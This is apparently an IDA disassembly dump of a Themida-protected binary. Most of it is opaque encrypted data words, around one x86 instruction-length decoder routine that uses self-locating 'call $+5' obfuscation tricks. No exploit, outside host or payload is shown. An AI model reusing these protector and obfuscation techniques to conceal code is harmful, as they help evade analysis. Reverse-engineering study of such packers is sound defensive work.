26373009h, 0EB7544Ah, 0D039D856h, 0B6E65874h, 0EB46560Eh dd 0FE36D94Fh, 51EF0537h, 42C44430h, 2A04E504h, 70B71E32h dd 9A754FD4h, 86D28DAEh, 9DE901DAh, 0C39CBD91h, 0A94F9777h dd 0C16ACCBFh, 2245Ch, 8DD98B00h, 8FDBF2A3h, 90DCF4A5h dd 93DFF7A8h, 93DFF8A9h, 8F14BAA9h, 0F3A48CD8h, 0F9AA92DEh dd 0FD9E96E2h, 3B9F99E5h, 306BDBEFh, 2AC95614h, 965A8628h dd 4FC6B320h, 32242814h, 24FC6B3h, 2B2C061Fh, 237CE834h dd 0AAB750B9h, 9EB9AAD9h, 0CF90C852h, 1B65CF1Bh, 75D3E95Bh dd 8E9E8259h, 19352649h, 40DF41CDh, 0DEF56D07h, 776C560Eh dd 687F202Bh, 0EF45231Ch, 0E0FC6914h, 0DF7EF0FCh, 53AE560Eh dd 0BC3291C7h, 5B394227h, 0C95Ch, 6981F200h, 5A75221Dh dd 5477150Eh, 8F4FC6B6h, 50B18FDBh, 60ED8AEFh, 0DFCF9BB4h dd 4D4FC751h, 97BF5BB2h, 9CC814C6h, 0C05AA6BBh, 7A92B287h dd 0DC9F2CEh, 517EF0FCh, 53AE4FC7h, 7E9871BAh, 8F515DF6h dd 0C8708F49h, 8BB9CF71h, 0D4BEBFBFh, 0B6926D4Fh, 6CB8B18Ah dd 93C44EB3h, 97C870BCh, 0AB9BAFC0h, 894FC8E6h, 4DAF7FA6h dd 48CCBF44h, 11F3E1Fh, 0D6860000h, 0D491D28Ah, 0D98FD088h dd 0DCF2A38Dh, 0E0F7A890h, 15BD9C94h, 0D18BD790h, 0A38DD990h dd 9B95E1F2h, 0B49CE8FAh, 7EF0FC20h, 0AE561431h, 55860B17h dd 0CF52E7Ah, 0B32A1C30h, 270A4FC6h, 49954A0Bh, 0DC283A1Bh dd 0D21E3463h, 0FD19F059h, 6520859h, 6981F44Eh, 5D75221Dh dd 0FA459147h, 7E62FE27h, 0EA35815Dh, 0B3453917h, 46E74FC6h dd 1E305832h, 2B071E5Fh, 0AEC4C23h, 0A4200B57h, 4113A274h dd 6D4EFA13h, 471A2571h, 145B6FEBh, 62498BD2h, 0C7D884BFh dd 885AE724h, 3036E33Ch, 677BDC36h, 0E1489451h, 0E8342677h dd 4019455Fh, 0FF62DD29h, 13D5FD71h, 53062F56h dd 3CE53C07h, 83387AF2h, 247A809Dh, 8F4871E1h, 15210843h dd 0E469248h, 216D6952h, 49204326h, 53DF42FDh, 3B045002h dd 0D4203821h, 3B1CF64Bh, 1C4CD723h, 481A8F46h, 4F0354FCh dd 5F746503h, 0EF3B3013h, 59821A23h, 14ED3682h, 131BFAh dd 86B70000h, 0EA4DEC1Dh, 0FA25C525h, 5175A19h, 0E29055Ah dd 1F6B8164h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h dd 216D6215h, 115D7926h, 236F6916h, 125E7728h, 54687419h dd 89000047h, 0E668241Ch, 8900001Dh, 89502434h, 405E0h dd 0E8830000h, 24048704h, 240C895Ch, 734ABA52h, 8152064Dh dd 3CEA242Ch, 815E117Eh, 7E3CEAC6h, 63685A11h, 8900004Eh dd 4832424h, 83590424h, 348904ECh, 8418F24h, 50240C8Bh dd 405E089h, 5000000h, 4, 5C240487h, 5E2434FFh, 0E904C483h dd 0FFFAFCAFh, 0FAB37DD3h, 0E43609B3h, 4D803FB8h, 0FFC50306h dd 86435CE0h, 9A448936h, 806F5B73h, 0FAFA9000h, 0C6F51C0Eh dd 47828F1Eh, 93FB935h, 1432F62Eh, 9AD98261h, 0B3E99612h dd 0C339021Ch, 69D7282Ah, 6C94251Eh, 0BEC04813h, 0A7C6D11h dd 4584E47Bh, 0B80C6930h, 2AFA2E05h, 6CF4F70Ch, 0D02D937Ah dd 169A8838h, 362B379h, 0D3E59744h, 0AFFB651Eh, 0C52E6665h dd 48359E06h, 7710437Bh, 0D1E4C643h, 3FC3774h, 0ED7B0558h dd 30496149h, 1C8E95Dh, 88880000h, 7 dup(88880041h), 41h dd 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h db 2 dup(8) aIiii db '┬┬┬┬',0 ; DATA XREF: ___:off_438138o align 4 dd 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 64D8312h, 5F85C760h dd 64D82h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 64D8263h dd 6, 24E9h, 67858D00h, 50064D82h, 82B7858Dh, 5650064Dh dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 4D826385h dd 0B5036106h, 64D8263h, 825F858Bh, 0C35D064Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59510D mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_595119 ; --------------------------------------------------------------------------- loc_59510D: ; CODE XREF: Themida_:005950F6j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_595119: ; CODE XREF: Themida_:00595108j push ebx push esi push edi loc_59511C: ; CODE XREF: Themida_:00595171j ; Themida_:0059518Dj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59512F: ; CODE XREF: Themida_:00595156j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 64D83C9h lea ebp, [ebp+64D823Fh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59515C inc cl cmp cl, 0Bh jb loc_59512F loc_59515C: ; CODE XREF: Themida_:0059514Bj cmp cl, 0Bh jz loc_5951B9 cmp al, 66h jnz loc_59519A cmp byte ptr [ebp-5], 0 jnz loc_59511C cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_595192 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59511C ; --------------------------------------------------------------------------- loc_595192: ; CODE XREF: Themida_:0059517Fj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59519A: ; CODE XREF: Themida_:00595167j cmp al, 67h jnz loc_59511C cmp byte ptr [ebp-6], 0 jnz loc_59511C xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59511C ; --------------------------------------------------------------------------- loc_5951B9: ; CODE XREF: Themida_:0059515Fj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5951E5 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5951EA ; --------------------------------------------------------------------------- loc_5951E5: ; CODE XREF: Themida_:005951C4j movzx edi, al shr edi, 1 loc_5951EA: ; CODE XREF: Themida_:005951E0j push ebp call $+5 pop ebp sub ebp, 64D8481h lea ebp, [ebp+64D813Fh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59536C mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5952B0 dec ecx jz loc_595293 dec ecx jnz loc_595303 cmp byte ptr [ebp-2], 0 jnz loc_5952FF cmp byte ptr [ebp-5], 0 jz loc_595272 mov byte ptr [ebp+0Bh], 2 loc_595272: ; CODE XREF: Themida_:00595268j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 64D850Dh mov dword ptr [ebp+64D825Fh], 1 pop ebp jmp loc_595303 ; --------------------------------------------------------------------------- loc_595293: ; CODE XREF: Themida_:0059524Dj cmp byte ptr [ebp-2], 0 jnz loc_5952DD cmp byte ptr [ebp-5], 0 jz loc_5952DD mov byte ptr [ebp+0Bh], 2 jmp loc_5952DD ; --------------------------------------------------------------------------- loc_5952B0: ; CODE XREF: Themida_:00595246j cmp byte ptr [ebp-2], 0 jnz loc_5952F6 cmp byte ptr [ebp-5], 0 jz loc_5952E5 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5952DD mov [ebp+0Bh], cl loc_5952DD: ; CODE XREF: Themida_:00595297j ; Themida_:005952A1j ... inc byte ptr [ebp+0Bh] jmp loc_595303 ; --------------------------------------------------------------------------- loc_5952E5: ; CODE XREF: Themida_:005952BEj cmp dl, 5 jnz loc_595303 mov [ebp+0Bh], dl jmp loc_595303 ; --------------------------------------------------------------------------- loc_5952F6: ; CODE XREF: Themida_:005952B4j cmp dl, 6 jnz loc_595303 loc_5952FF: ; CODE XREF: Themida_:0059525Ej mov byte ptr [ebp+0Bh], 3 loc_595303: ; CODE XREF: Themida_:00595254j ; Themida_:0059528Ej ... dec byte ptr [ebp+0Bh] jz loc_595331 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_595313: ; CODE XREF: Themida_:00595329j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_595313 mov esi, edx loc_595331: ; CODE XREF: Themida_:00595306j and al, 0FEh cmp al, 0F6h jnz loc_595366 cmp edi, 7Fh ja loc_595366 test bl, 38h jnz loc_595366 cmp byte ptr [ebp-7], 0 jz loc_595360 movzx eax, byte ptr [ebp-4] jmp loc_595363 ; --------------------------------------------------------------------------- loc_595360: ; CODE XREF: Themida_:00595351j push 1 pop eax loc_595363: ; CODE XREF: Themida_:0059535Bj mov [ebp-1], al loc_595366: ; CODE XREF: Themida_:00595335j ; Themida_:0059533Ej ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59536C: ; CODE XREF: Themida_:00595216j mov al, bl and eax, 7 sub eax, 4 jz loc_595397 dec eax dec eax jz loc_59538D and bl, 7 add [ebp-1], bl jmp loc_59539F ; --------------------------------------------------------------------------- loc_59538D: ; CODE XREF: Themida_:0059537Cj mov al, [ebp-3] add al, 6 jmp loc_59539C ; --------------------------------------------------------------------------- loc_595397: ; CODE XREF: Themida_:00595374j mov al, [ebp-3] add al, 4 loc_59539C: ; CODE XREF: Themida_:00595392j add [ebp-1], al loc_59539F: ; CODE XREF: Themida_:00595388j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5953C7 movzx ecx, byte ptr [ebp-1] inc ecx loc_5953B2: ; CODE XREF: Themida_:005953C1j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5953B2 loc_5953C7: ; CODE XREF: Themida_:005953A7j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 0D08Bh dd 10E8h, 0D3003700h, 7AE1CB9Bh, 218F94FAh, 1AA2E623h dd 0C1B70F12h, 0A2BA6659h, 0EEC18186h, 66000067h, 0D468F38Bh dd 0F5000019h, 29EE815Fh, 0FF76D687h, 9E931h, 0BDE60000h dd 0E1AF641h, 5B14C917h, 0BE9h, 890CD900h, 0A24753ABh dd 20F540B1h, 0EBD9EB81h, 12B60592h, 83A7EB81h, 0E8606E83h dd 9, 0D4B3D712h, 2AF1A579h, 66605F69h, 0B2346EBAh, 816161E9h dd 22FB35F3h, 89D38A09h, 6A2BB819h, 0E9836930h, 38C0F04h dd 80000000h, 0F4F6BE0h, 0FFFF9685h, 4890FFFh, 66000000h dd 8D10ADB8h, 4D87A58Dh, 0F38BF806h, 0A198D89h, 81660648h dd 0C7E67BD6h, 480F3585h, 601006h, 0C820F00h, 0F000000h dd 68Eh, 459D2900h, 0C7064830h, 48242585h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5DAC87DEh, 0ED958960h, 8B06481Eh, 0B5FF61C6h, 6481855h dd 0FFC2B70Fh, 4820BD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 29EFC268h dd 4827B98Dh, 0FF006A06h, 48306195h, 0EBC08B06h, 6E8CF658h dd 0EEC6F854h, 0DA1C8D1Ch, 35BEAC92h, 16E98A84h, 6BDF25C9h dd 26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0ECC6163Ch dd 2F5534F5h, 0A40981BFh, 4E856B32h, 865F4867h, 0EFB90683h dd 4B62A959h, 0E49C7699h, 99A394FEh, 21AC0BDEh, 0A9AC5362h dd 0E25C0D3Fh, 0FC08B0Fh, 0BD83D1BFh, 64820E9h, 83097500h dd 482C61BDh, 19740006h, 0C08B5350h, 3FCB8h, 0A1858900h dd 8D064828h, 4AB02C9Dh, 5BD3FF06h, 61BD8358h, 6482Ch dd 53501774h, 3FCB8h, 0A1858900h, 8D064828h, 4AAD1B9Dh dd 5BD3FF06h, 2820F58h, 0B6000000h, 51006A1Eh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F089C358h dd 50E2CF70h, 8B665B95h, 6AC08BD1h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 12FFC353h dd 80FAE550h, 0BD8365F7h, 6481949h, 45840F01h, 0F8000000h dd 0D8DBD83h, 0F000648h, 3785h, 0ACBB6600h, 19BD83C2h dd 6480Bh, 0CA840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0FBF87C3h, 38Bh, 0D78B6600h dd 3B3E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0FBFBDCCh, 70BA6675h, 58A0F6Ah, 0BA000000h dd 5AEDC8E6h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3AC35646h dd 0D3178887h, 60C789C0h, 0CE9h, 0FA5A1D00h, 0F3BA9B74h dd 71C02BA6h, 0F51610Dh, 1182h, 0BE800h, 36A00000h, 0D4688AFDh dd 9E8EE5DCh, 6A5B5AFBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 5768C352h, 4D8C486Dh dd 1002FB3Dh, 11630EB9h, 4204DC7Dh, 0C1C2B67Dh, 2FDAFD6Dh dd 0C789FD80h, 9C4AA6E1h, 0C3ADA169h, 0C3ADB9F1h, 0C789FD21h dd 44AAE5Fh, 3AC36C56h, 73339BF1h, 6050478Bh, 1776836Fh dd 2E9E1E60h, 0C789F93Eh, 2FDFFD52h, 0C789FD1Fh, 994AA32Eh dd 0C3AD898Eh, 0C3ADB902h, 0C789FDD9h, 4C4AABA6h, 0D3DF681Dh dd 0C789156Dh, 46D4FD1Ch, 8A03F6E3h, 0C78F1401h, 1F9FD83h dd 16EFD357h, 2FDBFD8Ah, 0C789FD73h, 9D4AA718h, 0C3ADA995h dd 0C3ADB98Fh, 0C789FD1Fh, 0C14AAFC1h, 3C57B491h, 4C751660h dd 918997B0h, 0C789FED0h, 4D7DD1Ch, 0E3FD7450h, 0E3CD7C03h dd 0C789E187h, 4DFBBC1h, 99420F76h, 8CD227C7h, 0C707F2E8h dd 9789FD1Ch, 0C789F3E7h, 1D77CF07h, 6C25484Fh, 76A61A95h dd 4E15A8CBh, 0A1E9D974h, 0A66A6287h, 0E3C5FC13h, 958997F0h dd 0C789FEEFh, 4D3DD83h, 0E3DD749Bh, 0E3CD7CE4h, 0C789E174h dd 4DBBF38h, 9DBE9802h, 9672BBA2h, 0C304F2E5h, 0A189FD83h dd 0A1EF3F7Bh, 9F66DE5Bh, 2FDAFD1Ah, 0C789FD3Bh, 9C4AA63Ch dd 0C3ADA187h, 0C3ADB986h, 0C789FD9Fh, 44AAE82h, 8F90D69h dd 9C1CAD92h, 0C789FAD1h, 0B266781Ch, 4C08CCEAh, 0C78BF102h dd 94899783h, 0C789FE29h, 4D2DDE0h, 0E3D5742Bh, 0E3CD7C3Ch dd 0C789EB18h, 4DABE0Eh, 0C83F9A1Bh, 0C789FE09h, 19029BC1h dd 0C78B75EFh, 1602FD70h, 2F33F5B3h, 0A18BAD70h, 3275B585h dd 0C789FCBFh, 0C7851483h, 0BA7CFDC1h, 0E2721795h, 0BFF85889h dd 9718FAB3h, 0C8444A4Eh, 5E3C463Fh, 9FD3FA9Ch, 11029BD3h dd 0C105F250h, 4689FDE0h, 77CE5BAh, 1E059B52h, 67F2297h dd 7A0CF20Ah, 9789FD07h, 9D5776E5h, 91899798h, 0C789FE08h dd 4D7DD70h, 0E3FD7466h, 0E3CD7C18h, 0C789E40Ah, 4DFBB07h dd 0D3C232CCh, 0FE099E2Dh, 200CF288h, 0AD89FD70h, 0C461AB38h dd 0E789FD1Ch, 4ED73E50h, 468DD973h, 0DA8DD9C7h, 8189FDC1h dd 1C933EB6h, 0E5CF3808h, 14CD6853h, 4986AEAAh, 0C789FD0Ah dd 0C7E94661h, 46888408h, 0D7C96703h, 0C7767CC3h, 0C809FD70h dd 0C7895CBAh, 963C461Ch, 424EEF5Dh, 0C1C4742Ah, 0C789FD82h dd 2E5E42CEh, 0C789FD50h, 722C08CBh, 0C7091456h, 0C7E3FD1Ch dd 0C78A155Ch, 9DA9FD07h, 9300A740h, 8308F9E5h, 0C793F9C4h dd 95CBFD70h, 605FB4FBh, 0C3432D34h, 5B5D4768h, 0C783145Eh dd 2008FD83h, 9A223EB3h, 82B1318Fh, 0CCF07E16h, 0F80DF2C7h dd 0AD89FD1Ch, 0C461AE0Eh, 0E789FD07h, 4ED23ED8h, 468DD99Dh dd 0D38DD9A4h, 8489FD70h, 0C8B73E6Bh, 0C789F69Dh, 78869D0Eh dd 0C705F2D8h, 0A689FD83h db 6 byte_5959E9 db 78h, 0A4h, 4Eh ; DATA XREF: Themida_:005481B4o dd 0C788FBADh, 1D08FD70h, 0DA68E37Ah, 0ADC1A74Ch, 0C461AB0Eh dd 0E789FD07h, 4ED73EDDh, 468DD9B5h, 0DF8DD9A4h, 8189FD70h dd 0A7DD3E6Eh, 0A1A458B1h, 0E66A3F8Fh, 0DFF183BEh, 450C70E6h dd 4A8FB04Fh, 8A05305Dh, 0B371C676h, 1686CD3Fh, 3262BAD5h dd 2FDEFD64h, 0C789FD04h, 984AA2A3h, 0C3AD8148h, 0C3ADB961h dd 0C789FD65h, 424AAA7Fh, 7CEF04C4h, 7A0A10C9h, 0C1C1E44Eh dd 0FB0DF282h, 0A189FDC1h, 7A0A276Bh, 0C1C1F0FDh, 0EB0CF238h dd 0C889FD1Ch, 0C789FE81h, 646A7D07h, 0CC904000h, 0C889FB89h dd 0C789B064h, 0D706F270h, 2E89FD38h, 0C789FD17h, 5A47273Eh dd 0E805700Bh, 2ED5854Fh, 0C789FD37h, 2FDFFD8Ah, 0C789FD73h dd 994AA318h, 0C3AD8995h, 0C3ADB98Fh, 0C789FD11h, 0AD4AABC5h dd 4B3AFC08h, 0C789F009h, 0F2B55F70h, 0D8B78AF2h, 6413C998h dd 7A0A2689h, 0C1C1E44Eh, 4D0CF282h, 0AD89FDC1h, 0C461A8E0h dd 0E789FD70h, 4ED43E65h, 468DD970h, 0D38DD94Ah, 8289FD07h dd 0C8A33ED6h, 0C789E84Ah, 0C79914E0h, 0A604FD70h, 0D3D433A2h dd 61BA0AD2h, 86E442E5h, 3A037081h, 948997DEh, 0C789FE29h dd 4D2DDE0h, 0E3D5742Bh, 0E3CD7C3Ch, 0C789E018h, 4DABE0Eh dd 0A3989193h, 0F63E46A0h, 0AD4A7FD3h, 0C461ABE0h, 0E789FD70h dd 4ED73E66h, 468DD968h, 0DC8DD94Ah, 8189FD07h, 0DCF43ED5h dd 0D3EB155Eh, 0E8607885h, 4D89FD70h, 0C7E3A0E8h, 0C78A154Ah dd 99A9FD0Eh, 0B300A3C4h, 8308F9A7h, 0C795F9E5h, 91CFFDE0h dd 0D7CC11B3h, 0CCEFC5AFh, 3409D108h, 4CDB3255h, 7A04A7D0h dd 0C1C4741Eh, 49C6704Ch, 0DA31FBADh, 0F4F2C72Ch, 8F89F0BDh dd 646D61Ah, 0DFF183BEh, 450C70E6h, 4A8FB04Fh, 8A05305Dh dd 0B371C676h, 1686CD3Fh, 0E983BAD5h, 83A4F305h, 4D892DBDh dd 0D740006h, 4B648D8Dh, 1B80648h, 0FF000000h, 0D28140E1h dd 269A68D1h, 0BA66DBB7h, 0E8839339h, 52006A2Dh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 8EDED207h, 8B2FA141h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 72E8CFD6h, 59DA6D8Eh dd 837BCB80h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h dd 8B535019h, 3FCB8C0h, 85890000h, 6480021h, 0B0939D8Dh dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h, 3FCB853h dd 85890000h, 6480021h, 0AD349D8Dh, 0D3FF064Ah, 6A585Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 5F5EA3C3h, 0AE8DCh, 51D90000h, 1BCA01B0h, 0B498EF72h dd 2DB3F381h, 0E95B3F22h, 12h, 0C202A0F2h, 17B2E211h, 0F5FF1B9Dh dd 0F7488F45h, 6A4F7Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 93804EC3h, 57B7B163h, 0AE9h, 8AE43800h dd 0C8AB1049h, 8BF9AE72h, 2DEBC0h, 0D0000000h, 9CBFAE0Dh dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h dd 9D8993h, 67268168h, 3B2BD14h, 2061EF16h, 0A96E9h, 90C46800h dd 78E9064Dh, 68FFFAEDh, 64D91F2h, 0FAED6EE9h, 92C268FFh dd 64E9064Dh, 68FFFAEDh, 64D935Ch, 0FAED5AE9h, 941768FFh dd 50E9064Dh, 68FFFAEDh, 64D94ECh, 0FAED46E9h, 95A968FFh dd 3CE9064Dh, 68FFFAEDh, 64D979Fh, 0FAED32E9h, 98DC68FFh dd 28E9064Dh, 4DFFFAEDh, 50114B97h, 4E0F4995h, 0B5E64E9Ah dd 0B2E34D99h, 78E7519Dh, 0C612CD52h, 0C814CD8Eh, 0D01CCF90h dd 0D7233768h, 1935795Dh, 56144325h, 5BE2EC07h, 5975D3E9h dd 498B3D2Ah, 9BBF9D84h, 0E25DA9BAh, 0B0A2B37Fh, 0B7ABEC64h dd 0A799E06Bh, 0F97B391h, 0DD4FD8CDh, 1D352642h, 834773D1h dd 4FC6B313h, 4225FE21h, 0A2DD4097h, 5CFD51DDh, 0F50E3A86h dd 0D3D6F1D8h, 0FE47D35Eh, 55F3093Bh, 8F93B679h, 0F919F849h dd 0CAF54D15h, 65ABB64h, 0BD000009h, 0C0E15BA7h, 0BEDF59A5h dd 0A5F65EAAh, 0A2F35DA9h, 68F761ADh, 0B602DD62h, 0B804DD7Eh dd 0C00CDF80h, 0C713C798h, 9E5098Dh, 56144395h, 81F23C97h dd 75221D69h, 5027115Dh, 0B570EF0h, 592A4622h, 93498E92h dd 0B089B36Ch, 4FB26DB9h, 0D3B3A7C3h, 7EB4560Eh, 31CED147h dd 36B55B39h, 49000000h, 2C785586h, 0DED4FE2h, 0F6CD0553h dd 0AB30ABCBh, 0C960C982h, 0C17CCF9Bh, 4FB2498Eh, 0C1C2B8D4h dd 0ADA5560Eh, 23C3E056h, 0D7C05B39h, 74000000h, 0F6408C43h dd 965A8650h, 4FC6B320h, 3421ED14h, 2659D21Eh, 0F9451B31h dd 4C6D1710h, 6BEC4692h, 7F202B77h, 79351F6Bh, 4FC6B13Eh dd 8DD991AAh, 0B2FED481h, 0E1FDDE8Ah, 35CC18CBh, 1A667CD9h dd 16F84811h, 0D138F33Fh, 0D42D796Eh, 9D4F6468h, 0C6D7498Eh dd 70140916h, 84A67023h, 58B1FDD3h, 0FE14CBECh, 0C2A7A0ECh dd 0AD89E06Bh, 5A72D2A9h, 3254E2EEh, 87A84FD4h, 0FDE18AE3h dd 0D11D333Ch, 0F31AF356h, 1F6B6455h, 0F6421841h, 6C63341Ch dd 82061220h, 0F843CCBFh, 7D805h, 91DD8F00h, 93DFF6A7h dd 94E0F8A9h, 97E3FB9Ch, 97E3FC9Dh, 9318BE9Dh, 97C870BCh dd 9DBE76C2h, 0A1C27AC6h, 0BFD37DC9h, 44DFCF9Bh, 764D5614h dd 1A66812Ch, 1D698122h, 0E95B4933h, 825975D3h, 0EC498E9Eh dd 0F872FA45h, 6F560EDEh, 89168C47h, 0FA5B3941h, 0B7h dd 1D698194h, 0E5A7522h, 0B1407715h, 8FA84FC6h, 0AF928DD9h dd 94E0F263h, 9BE7FB9Ch, 9C77C990h, 0C6B6DED0h, 5AB34E4Fh dd 0C713CDEEh, 0B2CBEF6Bh, 0A819B21Bh, 0E68EA838h, 498EB4CDh dd 0D521361Fh, 260EF74Ah, 148A667Ah, 18560EE5h, 2A1A1DF9h dd 3B1A3612h, 0F14FD452h, 0F64CF80Ch, 0F118FD18h, 216D6253h dd 0F4401243h, 6A65361Ah, 0C27E101Eh, 0F03BCCBFh, 7080Dh dd 61ADBF00h, 63AFA6F7h, 64B0A8F9h, 67B3ABECh, 67B3ACEDh dd 0E3686EEDh, 0E7B8A0ECh, 0EDAEA6F2h, 0F1B2AAF6h, 0F83ADF9h dd 458FFFCBh, 469D5614h, 1A6681FCh, 53698122h, 0DF42F7Bh dd 81023CF4h, 75221D69h, 8B27115Dh, 4FC6B317h, 60FC1424h dd 8B3D958Ch, 5CC349h, 0F4ED03D7h, 86D781A8h, 5BA7BED4h dd 0A0A079B2h, 42B7A7C3h, 9A755614h, 42ACA2AEh, 0A1805614h dd 28C3DC88h, 209A26D8h, 55CE1AD0h, 61F915ECh, 0DBDECE8Dh dd 1121004Fh, 0CCB8B873h, 6E10052Eh, 25000006h, 2879E32Fh dd 2677E12Dh, 2D6EE632h, 2A6BE531h, 0F06FE935h, 1E6A65EAh dd 206C6536h, 28746738h, 2F7B6F30h, 814D9105h, 5614460Dh dd 817AC41Fh, 7A221D69h, 0B3148A66h, 0F9184FC6h, 0DE2A401Dh dd 57AE0465h, 0BDFF0E2h, 4FC6B39Bh, 53CC18CEh, 10F918EEh dd 34F0334h, 627D1F37h, 2154F115h, 7, 1683FB5h, 86D30000h dd 0B320965Ah, 0ED144FC6h, 0B3514921h, 5AEA4FC6h, 0C44A2642h dd 88498B3Dh, 0B69FBBA9h, 7ACF58A4h, 5FABBFA0h, 0D990A9F5h dd 3AA83C8Bh, 24FD45FDh, 6BEC461Bh, 59202B77h, 5773D1E7h dd 4FDBB99Ch, 53DF2FD2h, 56CCB887h, 5B3280Dh, 7A6A0000h dd 7855062Eh, 7D53042Ch, 80560731h, 845BFC34h, 0B9210038h dd 65CF1B34h, 67D11D34h, 5FD92536h, 78E02C3Eh, 42343864h dd 0F2561447h, 6981CFD3h, 5D75221Dh, 0E33B1611h, 0A1B7AB20h dd 0ABA57CC8h, 48FB8EEFh, 79909F9h, 956E216Eh, 0B882A282h dd 0F1C619A6h, 76A54h, 3F040000h, 0B6h, 0D3E95BD3h dd 3D2A5975h, 9D84498Bh, 76C496BFh, 0D0076409h, 5874D03Ah dd 5613CAE6h, 1A42EB46h, 0E85E724Eh, 4C5613CAh, 560C49E5h dd 0CB352945h, 4EF75613h, 4CB54C98h, 0A6BE7ED3h, 5628B6BAh dd 35DC4FD8h, 27173307h, 54FC74Ah, 0F13A8660h, 3D25F118h dd 42FA461Ch, 42FD4921h, 9374DEFh, 8F370245h, 3DCD3449h dd 0CAF52E0Bh, 0DED045EEh, 95000004h, 98C973BFh, 96C771BDh dd 9DBE76C2h, 9ABB75C1h, 60BF79C5h, 8EDAF57Ah, 90DCF5A6h dd 98E4F7A8h, 9FEBFFA0h, 0F1FD21B5h, 5614477Dh, 860A14AFh dd 0B320965Ah, 23144FC6h, 0EF4BE22Eh, 1592Ch, 0E95BE200h dd 0D40C75D3h, 0B3FCD204h, 2DD42032h, 467579E1h, 78498BDCh dd 0D88AAB99h, 0DFF8A48Ch, 4CB7BE0Ch, 0A447A4B5h, 0AEA4B17Dh dd 0B090E962h, 16A0AC98h, 0E64FD849h, 263C1D4Bh, 294162DAh dd 37625418h, 28CF4FC7h, 1E6726F4h, 0C960BF67h, 7389BB7Eh dd 0A0ECE4D5h, 3D02CE96h, 0A9498ED4h, 0CCC5B995h, 0C867560Eh dd 0AA75C197h, 0CA65BB57h, 0F58DFA6Ch, 896CB7CAh, 421h dd 80B804D8h, 82BA06DFh, 81BB07E1h, 